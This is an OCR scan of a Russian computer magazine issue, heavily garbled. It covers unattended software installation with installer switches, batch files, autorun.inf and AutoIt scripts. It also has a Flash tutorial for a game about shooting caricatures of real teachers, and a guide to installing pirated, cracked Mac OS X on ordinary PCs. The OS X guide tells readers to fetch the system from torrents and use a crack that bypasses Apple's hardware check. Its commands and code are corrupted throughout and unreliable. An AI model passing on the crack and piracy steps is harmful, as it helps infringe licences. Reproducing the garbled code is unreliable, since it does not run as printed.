Тут администратор честно идет с диском программы к 
пользователю, честно жмет кнопки, отвечает, что он согла- 
сен с лицензионным соглашением, вводит ручками серий- 
ник и ждет появления кнопки «Ріпізіт». Проделывать такую 



работу больше чем на одном компьютере — занятие неб- 
лагодарное. Но, к счастью, и здесь есть незаменимые по- 
мощники. О них и пойдет речь. 

Помочь администратору могут сами инсталляторы прог- 
рамм. Большинство из них имеют специальные ключи, 
с помощью которых можно запустить автоматическую ус- 
тановку программы. Наиболее часто используются следу- 
ющие типы инсталляторов: 

1 ІпзІаІІЗИІеІсІ 

2 ѴѴІпсІоѵѵз ІпзІаІІег Зегѵісе (*.тзі) 

3 ІпзІаІІЗИІеІсІ с МЗІ 

4 Іппо Зеіир 

5 ЫиІІзоІІ ЗирегРІМР ІпзІаІІ Зузіет (N313) 

6 ѴѴІЗЕ ІпзІаІІег 

Список инсталляторов, конечно, неполный, охватить все 
просто невозможно. Все ключи, которые помогут тебе на- 
ладить автоматику, я привел в подробной таблице. 



НАЗВАНИЕ ИНСТАЛЛЯТОРА 



ІпзІаІІЗЫеісІ 



ѴѴІпбоѵѵз ІпзІаІІег Зегѵісе (*.тзі) 
ІпзІаІІЗбіеІсІ с МЗІ 



Іппо Зеіир 



ЗАПУСК С КЛЮЧОМ 



зеіир. ехе /з /зтз 



зеіир. ехе /з /ѵ 

"/дп РЕВООТ=ВеаІІуЗирргезз" 



зеіир. ехе Л/ЕРУЗИЕЫТ /ЗР- 



КАК РАСПОЗНАТЬ 



Наличие файла зеіир. ізз в директории; 
В свойствах установочного файла 
(который, кстати, всегда называется 
зеіир. ехе) будет что-то типа 
“ІпзІаІІЗІііеІб (В) Зеіир БаипсИег". 



Приложения могут быть в виде 
отдельных МЗІ-файлов или 
поставляться с установщиком 
зеіир. ехе. 

При запуске инсталлятора в самом 
первом окне кликните на иконку в 
левом верхнем углу и выберите пункт 
АЬоиІ Зеіир из меню. 

Внизу инсталлятора надпись ЫиІІзоН 
ІпзІаІІ Зузіет 

Надпись на первом окне инсталлятора 
Іпіііаііапд ѴѴІзе ІпзІаІІаІіоп ѴѴІдагсІ 



ЫиНзоЙ ЗирегРІМР ІпзІаІІ Зузіет (N313) Зеіир. ехе /3 
ѴѴІЗЕ ІпзІаІІег Зеіир. ехе /з 



зеіир. тзі 7дп ВЕВООТ=РеаІІу5ирргезз" Расширение *.МЗІ 
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Наш редактор любезно выложил все программы на диск, в том числе тѵлзы 
для создания Файлов-установщиков и утилиты для автоматизации установки. 




1 Для ѴѴІпсІоѵѵз ІпзІаІІег можно задавать ключи /дЬ или /дп. 
Первый покажет прогресс установки, а второй полностью 
скроет все окна и незаметно установит приложение. Если 
ты хочешь отобразить прогресс установки, но не показы- 
вать кнопку «СапсеІ», исключая возможность прерывания 
установки пользователем, то используй ключ /дЬ-І. 
Некоторые приложения требуют перезагрузки компьюте- 
ра после установки. Чтобы этого избежать, используй 
свойство ВЕВООТ=ВеаІІуЗирргезз вместе с /дп или /дЬ, 



заключая все выражение в кавычки. 

2 ІпзІаІІЗІтіеІсІ с МЗІ могут быть двух типов: ІпзІаІІЗсгірІ МЗІ 
и Вазіс МЗІ. ІпзІаІІЗсгірІ МЗІ использует традиционные клю- 
чи ІпзІаІІЗІтіеІсІ. В табличке приведены ключи для Вазіс МЗІ. 
Обрати внимание, что ключ /ѵ и кавычки пишутся слитно. 

3 Регистр ключей имеет значение, то есть /3 и /з — не од- 
но и то же. 

О ключах других типов инсталляторов можно узнать, за- 
пустив программу с ключом /? или /Ітеір. 



Отдельный разговор, если инсталлятор при установке требу- 
ет ввод серийного номера. Например, Иего Вигпіпд Вот мо- 
жет быть автоматически установлен следующей командой: 

пегобЗОЗ.ехе /зііепі /погеЬооІ /по_ш /$п=хххх-хххх-хххх- 
хххх-хххх-хххх /ѵѵгіІе_зп 

Можно также создать регистрационный файл, который бу- 
дет вносить регистрационные данные прямо в реестр. 
Пример файла гедпего.гед: 

ѴѴІпсІоѵѵз Редізігу ЕсІІІог Ѵегзіоп 5.00 
[НКЕѴ_ШСАІ_МАСНШЕ\80РТШВЕ\АІіеасі\І\Іего — 
Вигпіпд РотМпІо] 

«изег»=«Іпзег(І\1ате» 

«Сотрапу»=«ІпзегІСотрапуІ\Іате» 

«8егіаІ5»=«Іпзеі13егіаІ» 

Для ІЧего 6-Й версии последняя строка должна быть такой: 

«8егіаІ6»=«Іпзеі13егіаІ» 

Тогда перед автоустановкой ты можешь сначала запустить ре- 
гистрационный файл, а потом уже — автоустановку с ключами. 
Понятно, что от такой автоматизации будет мало толку без 
командных файлов. 



Например, создай файл аиіозеіир.стб: 

ЕСНО ІпзІаІІІпд І\Іего Вигпіпд Вот 
ЕСНО РІеазе ѵѵаіі... 

РЕ6ЕЛІТ /3 0:\1пз1а11\гедпего.гед 

зіагі /ѵѵаіі 0:\ІпзІаІІ\І\Іего551 054,ехе /зііепі /погеЬооІ /по_иі 

Где О — буква привода (универсальной переменной типа 
%СОВОМ%, к сожалению, нет). 

Ключ /ѵѵаіі команды зіагі позволит дождаться окончания 
процесса установки. Это необходимо, чтобы не запуска- 
лось сразу несколько процессов инсталляции. В команд- 
ный файл можешь записать команды для автоинсталла 
всех необходимых приложений. 

Таким образом, ты можешь записать все инсталляторы 
и командный файл аиіозеіир.стсі на диск и запускать ав- 
томатическую установку через него. Можно также бросить 
в корень диска файл аиіогип.іпі: 

[Аиіогип] 

0реп=аиЮзеІир.стсі 

Тогда командный файл запустит автоматическую инстал- 
ляцию сразу при вставке диска в привод. 



ДОПОЛНИ- 

ТЕЛЬНЫЕ 

ТРУДНОСТИ 



Если с ключами тебе работать не нра- 
вится (это кажется тебе сложным) или 
ты не смог подобрать ключи для авто- 
матической установки, то можешь 
попробовать программы, эмулирую- 
щие действия пользователя при «нор- 
мальной» установке приложения. 
Общий смысл работы программ та- 
кого типа в следующем. Инсталлятор 
запускается в обычном режиме без 
ключей, а все действия, такие как на- 
жатие кнопок, ввод серийных номе- 
ров, расстановка флажков, происхо- 
дят в режиме эмуляции действий 



пользователя. В результате ты уви- 
дишь окно инсталлятора, в котором 
сами нажимаются кнопки, снимают- 
ся/ставятся флажки, вводятся серий- 
ные номера и т.п. 

К программам такого рода относятся 
Аціоіі и ЬаіуЗеІирСО. 

Для Аиіоіі ты должен писать скрипты 
на специальном скриптовом языке. 
Например, для установки программы 
І_а 2 уЗеІирСЭ скрипт будет такой: 
//запуск установки из директории 
сЛІетр 

Рип, сАІетрМаіуЗеІирСОХзеІир.ехе 



//дождемся появления нужного окна 
ѴѴІпѴѴаіІАсІіѵе, Лицензионное согла- 
шение 

//нажмем «Да», то есть отправим 
нажатие Епіег 
ЗепсІ, {Епіег} 

//дождемся появления следующего 
окна 

ѴѴІпѴѴаіІАсІіѵе, ЕаіуЗеІирСО ѵ.1.1 
//нажмем ОК 
ЗепсІ, {Епіег} 

//завершение 

Ехіі 



ЧУДО-АВТО- 

МАТИЗАТОРЫ 
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При подготовке статьи использовались материалы 
ипаІІепсІесІ.ОБгопе.пеІ. аиіозеіир.огс.ги. журнала 
«Системный администратор» №№4-7 2005 года. 
Для дальнейшего изучения темы прочитать их 
просто необходимо. 




Возможно, тебе придется по душе идея создания ЫѵеСР с 
виндой. В этом случае вообще не придется что-либо инс- 
таллить — достаточно будет вставить диск в СР-ВОМ. 
Столь экстравагантный подход может быть реализован с 
помощью программы Вагі’з РгеіпзіаІІесІ Епѵігоптепі 
С\л/щѵѵ.пи2.пи/реЬиіІсіег1 



Скачать готовые скрипты для автома- 
тической установки программ через 
Аиіоіі можно по адресу: 
ѵѵѵѵѵѵ. глзіп .ога/ЬоагсІ/іпсІех. оітр? 
5ІТОѴѴІОРІС=20197 

Написание скриптов для Аиіоіі — за- 
дача нетривиальная, так как надо изу- 
чать синтаксис и операторы скрипто- 
вого языка. Интерфейс и справка 
программы англоязычная, что тоже 
не относится к плюсам для русскоя- 
зычных пользователей. 

Программа 1_а2у5еІирСЭ от этих 
недостатков избавлена. 

Эта программа позволяет создавать 
установочные диски, с которых ты 
сможешь устанавливать приложения 
в автоматическом режиме, то есть 
без участия пользователя, по зара- 
нее заданному алгоритму. 

Для составления алгоритма установки 
какой-нибудь программы необходимо 
указать все действия, которые должен 
эмулировать бадуЗеШрСЭ при уста- 
новке. К таким действиям относятся: 



^Нажать кнопку - 1 

2 Поставить/снять флажок - 1 

3 Установить переключатель -I 

4 ^ Ввести текст 

Этих действий вполне достаточно, 
чтобы составить алгоритмы установ- 
ки для большинства программ. Сос- 
тавление алгоритма осуществляется 
через интерфейс бадуЗеШрСЭ, ника- 
ких скриптов писать не придется. 
Кнопки, флажки и переключатели 
идентифицируются по их названию. 
То есть, если ты хочешь, чтобы 
бадуЗеШрСЭ три раза подряд нажал 
кнопку «Ыехі» при установке какой- 
нибудь софтины, то тебе достаточно 
три раза добавить действие «Нажать 
кнопку ІЧехІ». 

В Аиіоіі для того чтобы запрограмми- 
ровать подряд три нажатия кнопки 
с одним названием, приходилось ука- 
зывать признак окна, в котором рас- 
полагается кнопка. багуЗеШрСЭ, в 
отличие от Аиіоіі, не путается в нажа- 
тиях и долбить три раза подряд одну 



и ту же кнопку не станет. 

Для ввода текста (например, серий- 
ного номера) тебе тоже не придется 
ничего дополнительно указывать. Ес- 
ли после очередного нажатия кнопки 
«Далее» будет предложено ввести 
имя пользователя и серийный номер, 
то в І_адуЗеІирСО тебе достаточно бу- 
дет задать действие «Ввести текст». 
Каждый текстовый фрагмент будет 
вводиться в порядке табуляции в окне 
инсталлятора. 

С помощью І_адуЗеІирСО ты смо- 
жешь записать инсталляторы вместе 
с алгоритмами установки сразу на 
диск. Вместе с І_а2у$еІирС0 постав- 
ляется модуль аиіогип.ехе, который 
записывается на диск и будет прово- 
дить автоинсталл. С его помощью ты 
сможешь выбрать программы, кото- 
рые хочешь установить в автомати- 
ческом режиме. 

Для І_а2уЗеІирС0 также есть набор го- 
товых скриптов автоустановки, которые 
можно скачать с сайта аиіозеіир.ога.ги. 



ПОДВОДИМ 

ИТОГИ 



Итак, мы рассмотрели три возможных метода автомати- 
ческой установки программ: 

1 С помощью ключей и командных файлов 

2 С помощью Аиіоіі 

3 С помощью багуЗеШрСО 

Самым быстрым методом, безусловно, является метод ус- 
тановки через ключи и командные файлы, так как в этом 
случае не появляется окон установки и не расходуется 
время на их отрисовку. Однако этим методом не всегда 



удается достичь желаемого результата (например, не 
удастся подобрать нужные ключи автоматической уста- 
новки). Тогда на помощь приходят эмуляторы действий 
пользователя — Аиіоіі и І_а 2 уЗеІирСЭ. Чтобы эффективно 
начать использовать Аиіоіі, придется потратить время на 
изучение синтаксиса специального скриптового языка. 
І_а 2 уЗеІирСЭ предоставляет более простой и удобный ин- 
терфейс для составления алгоритма установки. 

Чем пользоваться — решать тебе. 

вшаву ѵоин'8 зс 
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Оборудова 



Мы хотим сказать вам 
что-то очень важное... 




Чтобы общение было ярким, мы придумали: 



+ 

+ 

+ 

+ 

+ 

+ 



Возможность скачивать популярные игры, мелодии и картинки пакетами по более 
низкой цене! Больше игр и мелодий, больше удобства - меньше цена и меньше времени 
занимают поиск и закачка, просто наберите КІЁВВВЕЕІ* 

Систему управления услугами в 06 74 ! Подключайте услуги, 
меняйте тарифные планы, узнавайте больше о новинках «Билайн»! 

Удобный выход в Интернет! Легкое подключение, высокая скорость загрузки, 

ЕБ6Е в Москве (в том числе и в метро) и еще в 10 городах России. О Об 04 22 

5М5-движение! Покупая 5М5 пакетами (25, 50 или 300 5М5), вы экономите до 30%. 

С одной 5М$ки - немного, а с целого пакета (300 5М5) набегает больше $4, 
а это еще 80 5М5ок по обычной цене! в 06 40 30 

Общение под землей! Связь в московском метро - не только на станциях, 
но и в тоннелях! 

«Хамелеон»! Информация найдет вас сама. Новости, гороскопы, афиша - 

все это и многое другое в вашем телефоне в режиме реального времени. О 060 58 




ѵѵшѵѵ.ЬееІіпе.ги 



Билайн 



РС 20ЫЕ 
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ТЕХТ СИДЕЛЬНИКОВ М.Ю. / 5НМ11НОКМ1КЕ@УАМРЕХ.Ни / 




ІІ КАКОЙ СТУДЕНТ НЕ МЕЧТАЛ ОТОМСТИТЬ ПРЕПОДУ ЗА ЕГО ИЗЛИШНЮЮ СТРОГОСТЬ? 
И ЕСЛИ РЕАЛЬНО НА ЭТОТ ШАГ МАЛО КТО РЕШАЕТСЯ, ТО ТЕПЕРЬ У ТЕБЯ ПОЯВИЛАСЬ ВОЗ- 
МОЖНОСТЬ СДЕЛАТЬ ЭТО ВИРТУАЛЬНО Щ Щ 



Доброго времени суток, читатель. В этой статье я расска- 
жу о том, как создать простую игру на РІазб. Собственно 
говоря, я не собираюсь углубляться в теорию и мучить 
читателя ненужными скриптами и отвлеченными действи- 
ями. Все здесь изложенное будет касаться конкретно 
данного примера. Я собираюсь изложить минимум, кото- 
рый необходим для получения результата. 

Что нам для этого необходимо? Во-первых, БІазб. Собствен- 
но, его версия не имеет значения. Я использовал ЕІавб МХ 
РгоГеззіопаІ 2004. Во-вторых, если у тебя нет желания озву- 
чивать игру самостоятельно, то не плохо было бы препари- 
ровать какую-нибудь игру, чтобы извлечь из нее файлы 



со звуками, которые могут пригодиться при озвучивании игры. 
Я использовал древнюю игрушку Тбе РІоизе о)" Тбе ОеасІ 2. 
В твоем случае это может быть любой другой подходящий 
пациент. Также не плохо было бы заиметь планшет. Такие 
возможности, как зависимость толщины линии от нажатия, 
сильно упрощают жизнь флешеру. Но для рядового пользо- 
вателя планшет является скорее экзотикой. Если у тебя 
крепкие нервы, то можешь рисовать мышкой. Следующим 
шагом к созданию игры можем считать наличие фоток нена- 
вистных тебе преподов. Для чего они нужны, ты узнаешь поз- 
же. И последний ингредиент нашего коктейля — это твое 
личное терпение :). Ну вот и все. Теперь можно начинать. 



ИНТРО 



На самом нижнем слое рисуем фон, 
состоящий всего из двух прямоуголь- 
ников. Так, чтобы они занимали все 
рабочее пространство. К примеру, 
внизу зеленый — трава, а синий — 
небо. Назовем этот слой «фоном». На 
этом слое можно разместить необя- 
зательные объекты. Например, тоѵіе 
сіір — солнце. Для этого вне области 
нарисованных прямоугольников изоб- 
ражаем солнце. Выделяем его, нажи- 
маем Р8, выбираем тоѵіе сіір и пере- 
мещаем в нужное место. Затем, если 
есть желание, его можно анимиро- 
вать. Для этого, дважды кликнув изоб- 
ражение солнца, мы переходим к ани- 
мации клипа. Я рассчитываю на то, 
что читатель знаком с основами соз- 
дания анимации на ЕІазб. Если нет, то 
предлагаю читателю самостоятельно 



поэкспериментировать с созданием 
ключевых кадров на Тітеііпе с по- 
мощью клавиш Р5, Р6, Р7. Простей- 
шею анимация клипа можно создать, 
выбрав, к примеру, второй кадр и на- 
жав Р6. Будет создан ключевой кадр. 
В нем можно слегка изменить лучики 
солнца. Таким образом можно офор- 
мить еще пару кадров. Затем нажима- 
ем Зсепе 1, Сігіч-Епіег и созерцаем 
сотворенное, возможно, вносим поп- 
равки. Я рассчитываю на сообрази- 
тельность читателя и в последующем 
описании буду избегать таких под- 
робных разъяснений. 

Теперь создаем новый слой — зда- 
ние. Чтобы случайно не нарисовать 
на слое фон, нужно повесить на него 
замок (кликнуть точку, последнюю от 
имени слоя). Таким образом, в даль- 



нейшем нужно будет запирать все не- 
редактируемые в данный момент 
слои. На нем рисуем здание вашего 
факультета. Важно, чтобы окна зани- 
мали большую часть здания. Ведь 
именно в них будут появляться препо- 
ды. Окна зданий должны иметь при- 
мерно одинаковый размер. Еще одно 
требование к зданию: окна должны 
оставаться пустыми, то есть их мы не 
заливаем. Теперь посмотрим, что у 
нас получилось. 

Создаем слои и размещаем их по 
следующей иерархии (сверху вниз): 

Здание(слой уже создан) 

Препод2 

Комната2 

Преподі 

Комнатаі 

Фон (слой уже создан) 



СОЗДАЕМ 

ФОНОВЫЕ 

РИСУНКИ 
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029 



ОБЪЕКТЫ ДЛЯ 
БИБЛИОТЕКИ 



Создаем объекты для библиотеки, они 
будут использованы для оформления 
фона. Чтобы не было путаницы, нужно 
создать самый нижний слой Іетр (на 
нем мы будем рисовать объекты для 
библиотеки). Теперь рисуем на нем 
комнату за окном (чтобы скрыть другие 
слои, нажми квадрат справа от имени 
слоя). Выделяем ее, нажимаем Р8, то 
есть создаем тоѵіе сіір — комнатаі. 
Теперь этот объект находится у нас в 
библиотеке (для ее просмотра нажми 
Сігі+І_). Для разнообразия можно соз- 
дать еще один рисунок и тоже помес- 
тить его в библиотеку, после чего ри- 
сунки можно будет удалить со слоя 
Іетр (они будут храниться в библиоте- 
ке). Готовые рисунки перемещаем на 
слои комнатаі и комната2, непосред- 
ственно за окнами, в шахматном поряд- 
ке (то есть по порядку: одно окно долж- 



но заполняться клипом на слое комна- 
таі, другое — клипом на слое комна- 
та2. Это очень важно, так как впослед- 
ствии окна будут скрывать фигуры пре- 
подов). Вот и все, что касается оформ- 
ления фона. 

Нам понадобятся фотки твоих препо- 
дов, над которыми ты хочешь надру- 
гаться. Выбираем РІІе->ІтрогІ->ІтрогІ 
Іо ІІЬгагу... и добавляем в библиотеку 
необходимые фотки. Размещаем на 
слое Іетр, над ним создаем времен- 
ный слой Іетрі. С помощью транс- 
формации подгоняем размер. Вообще 
говоря, можно использовать фотки в 
качестве движущихся мишеней, сох- 
ранив их как тоѵіе сіір в библиотеке. 
Но на рисованном фоне реальные 
фотки будут смотреться как-то неес- 
тественно. Поэтому предлагаю тебе 
нарисовать преподов, за основу взяв 



обведенные их фотографии. Нарисо- 
ванных преподов сохраняем в библио- 
теке как кнопки (то есть вместо тоѵіе 
сіір выбираем Ьийоп) и удаляем со 
слоев (слой Іетрі также можно уда- 
лить). Точно так же импортируем 
в библиотеку нужные звуки или мело- 
дии. Добавить звук на слой можно с 
помощью РгореПіез, выбрав в выпада- 
ющем меню Зоипб нужный звук из 
библиотеки. Момент начала звука 
можно задать, создав ключевой кадр с 
помощью Р6. И последний штрих: по- 
местим в библиотеку курсор — его 
можно сделать в виде мишени. Назо- 
вем его Роіпі и разместим на создан- 
ном самом верхнем слое собе. Выб- 
рав курсор, на вкладке РгореПіез в 
поле Іпзіапсе ІМате введем его имя 
— роіпі. Ну вот, в принципе, 
и все, что касалось библиотеки. 



КУРСОР 



Отстрел преподов будет осуществляться с помощью кур- 
сора, поэтому не плохо было бы придать ему нужную фор- 
му. Делается это следующим образом. Выделив первый 
кадр слоя собе, выбираем панель Асііопз-Ргате и добав- 
ляем следующий код: 

МоизеФісІеО; //Скрыть курсор 
зІагШгад(роіпІДгие); 



Очень важным моментом является установление центра 
курсора. Дело в том, что левый верхний угол является ука- 
зующей частью курсора. Это можно исправить следую- 
щим образом. Кликнем на мишень, затем правый клик, вы- 
бираем ебіі. В полях X:..., У:... нужно подобрать такие зна- 
чения, чтобы крест, обозначающий указующую часть кур- 
сора, совпадал с центром мишени. 

Кажется, это все, что касалось курсора. Нажав Сігі+Епіег, 
можно оттестировать полученную флешку. 



СОЗДАНИЕ 

АНИМАЦИИ 

ПЕРСОНАЖЕЙ 



Теперь мы подошли к самому путаному 
этапу. Напомню расположение слоев: 

ообе 

здание 

препод2 

комната2 

преподі 

комнатаі 

фон 

іетр 

Ну-с, начнем-с. С помощью Р5 прод- 
ливаем первый кадр каждого слоя до 
30-го кадра. Первую анимацию я раз- 
беру подробно. Последующие анало- 
гично ты проделаешь самостоятель- 
но. Помещаем на слой преподі Ьиі- 
Іоп, то есть изображение преподава- 
теля, созданное тобой ранее. На этом 
же слое создаем ключевой кадр, то 
есть выделяем 20-й кадр и нажимаем 



Р6. Изображение нужно разместить 
так, чтобы его не было видно из-за 
здания. Щелкаем правой кнопкой мы- 
ши на первом кадре и выбираем 
Сгеаіе Моііоп Тѵѵеел. Теперь в 20-м 
кадре установим конечное положе- 
ние анимированного объекта (посе- 
редине окна). После 20-го кадра соз- 
даем анимацию, которая соответству- 
ет попаданию в препода. Это может 
быть все, что угодно: окно, забрыз- 
ганное кровью, искалеченный препод 
и т.д. На 19-м кадре создаем еще 
один ключевой кадр. И размещаем в 
нем следующий код: 

до!оАпсІРІау(70); // переход на 70-й кадр 

(у меня конечный кадр — 301-й), где 
70 — это конечный кадр игры, в кото- 



ром осуществляется проверка и слу- 
чайный переход по кадрам (конечно, 
если создавать анимацию на каждое 
окно, то это будет не 70 кадров). 
Теперь разберемся со звуком. На 
20-м кадре в РгореПіев->Зоипб выби- 
раем звук выстрела, который ты уже 
добавил в библиотеку. По желанию 
можешь создать ключевой 21-й кадр 
(Р6), в котором выберешь звук, соот- 
ветствующий крику препода. 

Теперь точно так же оформляем ани- 
мацию для слоя препод2, но начиная 
о 31-го кадра. То есть ключевые кад- 
ры у нас будут 49,50,51. Затем, начи- 
ная с 61-го кадра, анимируем слой 
преподі. Таким способом создаем 
анимацию на все окна. У меня их по- 
лучилось десять. Значит, последний 
кадр игры будет 301-й. 



кодинг 



Давай теперь разберемся с переходом на последний 
кадр. Начнем с первой анимации. Выделяем кнопку, изоб- 
ражающую препода, затем выделяем панель Асііопз- 
Ргате и пишем сценарий. 

оп(ргезз){ 

доІоАпсІРІау(20); 

} 

Точно так же для остальных преподов. Например, для вто- 
рой анимации код будет выглядеть следующим образом: 

оп(рге$з){ 

доІоАпсІРІау(50); 

) 



Теперь нам необходимо после каждого промаха или попа- 
дания переходить на кадр проверки Пишем код на 19-й 
кадр (19-й кадр соответствует промаху): 

доІоАпсІРІау(ЗОІ); 

В случае попадания мы в итоге придем к 30-му кадру, 
вот его код: 

доІоАпсІРІау(ЗОІ); 

Сейчас все кадры ссылаются на 301-й кадр. Здесь нужно 
оформить случайный переход. Делается это следующим 
образом: 



030 
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геіиІІ=гапсІот(10);//произвольное число от 0 до 9) 
ІІ(ге2иІ(==0)доіоАпсІРІау(1 ); 
і{(ге2иІІ==1)доіоАпбРІау(31); 

/*....*/ 

ІІ(ге2иІІ==9)доіоАпсІРІау(271 ); 

Вообще говоря, на этом можно и закончить. Но я бы по- 
советовал сделать счетчик, считающий попадания. А 
чтобы усложнить игру, надо ограничить ее по времени. 



Сейчас вкратце объясню, как усложнить игру. Во-пер- ш 

вых, нам нужны два текстовых поля (Оупатіс Техі). Од- х 

ш 

но для вывода счета — «Іехі», и второе, показывающее х 
оставшееся время, — «1ех12». Для этих полей создаем § 
отдельный самый верхний слой. Во-вторых, если мы со- 0 
бираемся делать счетчик, то необходима инициализа- Ч 
ция. Поэтому первый кадр оставляем под инициализа- 
цию. То есть переход из конечного кадра осуществля- 
ется на второй кадр: 

ІІ(ге2иІІ==0)до(оАпсІРІау(2); 

А в первом, ключевом кадре, размещаем следующий 
код: 

ііте = пеѵѵ Оа(е(); 

йЫіте.де1Ноигз(); 

тЫіте.деІМІпиІе$(); 

зЫіте.деіЗесопсІз(); 

іпіі=зі+(ті*60)+(М*60*60); 

епсІ=іпіІ+1 80;//1 80 — количество секунд, отведенных 

под игру 

пигпЬег=0;// счет = О 

ІехІ=питЬег;// выводим начальный счет 

іех12=180; // показываем отведенное время 

Необходимо, чтобы при каждом попадании питЬег увеличи- 
вался на единицу. То есть добавляем код на попадание по 
преподу: 

оп(рге55)І 

до(оАпсІРІау(20); 

питЬег=пшпЬег+1; 

) 



И так со всеми кнопками. 

В конце нужно дорисовать два кадра, соответствующие 
победе и поражению. И к каждому добавить $1ор(); 

А теперь, что касается проверки условия в 300-м кадре: 



ііте2 = пеѵѵ 0а1е(); // создаем новый временной объект 

йі2=ііте2.деіНоигз(); 

т12=(іте2.де(Міпиіез(); 

5І2=ііте2.деіЗесопсІз(); 

Іетр=5І2+(ті2*60)+(й12*60*60); 

1ех12=епсМетр;// оставшееся время 
іехІ=питЬег; // покажем счет 
г=гапс!от(1 0); 

ІІ((епсНетр)<=0){ // при условии, что время вышло 
ІІ(питЬег>=40)доІоАпбРІау(301); // и счет больше 
положенного, переходим на кадр победы 
ЩпштіЬег<40)доІоАпсІРІау(302);// или поражения 

) 

ѲІЗѲІ 

ІІ(г==0)доіоАпбРІау(31); 

/*...*/ 

1 



Ну, теперь точно все. Пример игры я выложил 
на сайте: ѵѵѵѵѵѵ.аеосНіев.сот/сісІеІпікоѵ 

ВШДКѴ ѵоин'8 тц 




Когда-то в древности Великий Учитель решил испытать 
своих учеников, предложив им выбрать для себя мечи. 

Один из них выбрал легкий меч, надеясь сохранить силы 
в долгом походе. Другой выбрал длинный меч, надеясь 
поразить им больше противников с безопасного 
расстояния. 

і Но самым мудрым оказался третий ученик, который 

ш выбрал для себя самый удобный меч, ставший продолже- 

° нием его руки. 

1 Удобство — вот разумный выбор! 

ѳ 

I— 

а 

ш 

< \л/\л/\л/.окМск.ги 

о 
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О К I I С К 




РС_20МЕ ///// ІЗЗЦЕ 




ТЕХТ ЭМИЛЬ ХАСАН / ЕМІІ_ОѴЕ@СМАІІ_.СОМ / 



СТАНОВИМСЯ 

МАКАКАМИ 

УСТАНОВКА И ОПТИМИЗАЦИЯ МАСОЗ X НА Х86 РС-СИСТЕМУ 

ІІТЕБЯ ДОСТАЛО, ЧТО ВСЕ ВДРУГ НАЧАЛИ ГОВОРИТЬ, НАСКОЛЬКО КРУТ МАК, КАК ЭТО 
МОДНО И УДОБНО? ЕСЛИ ТЫ РАБОТАЕШЬ С ВИДЕО, ЗВУКОМ ИЛИ ГРАФИКОЙ, ТО МАК ДОЛЖЕН 
БЫТЬ ТВОИМ ВЫБОРОМ, ТАК КАК ОН СОЗДАВАЛСЯ ИМЕННО ДЛЯ ЭТИХ ЦЕЛЕЙ. ЖАЛЬ ТОЛЬКО, 
ЧТО ПРОДУКЦИЯ АРРЬЕ СТОИТ ОЧЕНЬ ДОРОГО И НЕ КАЖДЫЙ НАЧИНАЮЩИЙ РЕЖИССЕР, 
МУЗЫКАНТ ИЛИ ДИЗАЙНЕР СМОЖЕТ ВЫЛОЖИТЬ ПАРУ ТЫСЯЧ ЗЕЛЕНЫХ ЗА ДЕВАЙС С 
КРАСИВЫМ ЯБЛОКОМ НАБОКУ. НО НЕ РАССТРАИВАЙСЯ, ВЫХОД ЕСТЬ И МЫ ПОМОЖЕМ ТЕБЕ 
ЕГО ОТЫСКАТЬ. СЕГОДНЯ МЫ С ТОБОЙ УСТАНОВИМ МАС 08 X НА ТВОЮ ОБЫЧНУЮ РО- 
МАШИНУ, рр 



НЕМНОГО 

ПРЕДЫСТОРИИ 



ВОТ что говорит 
мой аЬоиІ 



Все началось с того, что в июне Арріе анонсировала сме- 
ну их чипсета с Роѵѵег РС ІВМ на ІІ\ІТЕІ_ и, следовательно, 
выпуск новой линейки компов. То есть это означает смену 
на х86 архитектуру, которую мы с тобой давно уже юзаем. 
Интеловские чипы должны быть быстрее и надежнее. Осо- 
бенность Мака в том, что чипы практически не нагревают- 
ся, поэтому до этого у большинства моделей ноутбуков 
не было кулеров, а была очень умно продуманная система 
вентиляции. Іпіеі-чипы все же быстрее греются, но зато 
производятся в большем количестве по всему миру, чем 
чипсеты от ІВМ, поэтому ожидается большой спад цен на 
Маки. И пока мы будем этого ждать, можем начинать осва- 
ивать систему. После анонса сразу началась разработка 
новой МаоОЗ X для совместимости с новым железом. Как 
мы уже с тобой знаем, хакеры не спят, и потому скоро эта 
операционка (точнее, ОЗХ Тідег Гог ІпГеІ) стала появляться 
в инете, а также крэк для нее. Так как МасОз X была заби- 
та только для железа Арріе, крэк обходит проверку нали- 
чия іпіеі’овского Тгизіеб РІаМогт Мобиіе чипа, которого нет 
у обычного РС. 



ѴѴІпбоѵѵз давно всем приелась своей нестабильностью 
и дизайном, который мы все с вами видим каждый день 
в универе или на работе. До выхода ѴѴІпсІоѵѵз Ѵізіа еще мно- 
го времени, а сменить обстановку всегда полезно. Один из 
способов ниже расскажет о том, как можно установить ось 
с поддержкой мультизагрузки и сильно не переживать о 
разлуке с ѴѴіпсГоѵѵз. 

Для начала нам надо подготовить железо и софт. Посте- 
пенно появляется все больше и больше железа, которое 
совместимо и прекрасно работает после установки на х86. 
Этот список постоянно обновляется на сайтах, посвящен- 
ных данной теме. Базовые требования — это проц ЗЗЕЗ, то 
есть Репііцт 4 или Аіітіоп 64, Іпіеі или совместимая матери- 
нская плата. Желательно также иметь Іпіеі ѲгарІтісз Мебіа 
Ассеіегаіог 900, ведь как раз под него и пишется эта ось. 
Чтобы проверить свой комп на ЗЗЕЗ, можно воспользо- 
ваться программами для сбора информации о компе или 
проце. Например, СРІІ-2. 

Уже есть большое количество способов достигнуть результата, 
тут будут описываться наиболее проверенные и доступные. 



СПОСОБ 
ПЕРВЫЙ 
(СЭ ІМАОЕ) 



Этот способ требует наличия пишу- 
щего ОѴО-привода, а также предвари- 
тельно скачанных файлов. Еще он 
потребует полную очистку дисков 
и отсутствие других операционок. 

Для этого мы сначала скачаем образ 
МасОЗ X. Обычно его находят через 
р2р или Іоггепіз, а также можно найти 
его и на ІВС. Имя желаемого файла — 
«Арріе. 03. Х.х86.0еѵеІорег.КІІ.ІпзІаІШ 
ѴО-рИеХІІХ.сопѵег(есІ.1о.І50.1еіГі17.гаг». 



Если же там не стоит упоминания об 
.ізо, расширения файла будет .бтд — 
это бізс ітаде, который читается толь- 
ко на Маках. Тебе надо будет его кон- 
вертировать в родной .ізо. Для этого 
есть туча прог, например Шга ІЗО. 
После конвертации необходимо про- 
патчить прогу, чтобы диск был читаем 
при загрузке. Поэтому надо скачать 
«Ѳепегіс_ОЗх86_ІпзІаІІ_ОѴО_РаІсІтег_ 
Реіеазеі.гаг», который также можно 



найти уже практически везде (но бу- 
дет проще скачать уже конвертиро- 
ванный ізо). Далее записываем 
Магкіаг-Тідег.ізо на ОѴЭ-диск любимой 
прогой для записи. 

Ну, а дальше вое проще. Ставим в ВІОЗ 
СЭ как Ьооі беѵісе и перезагружаем 
комп. Если ты вое до этого сделал пра- 
вильно, то на экране должно появиться 
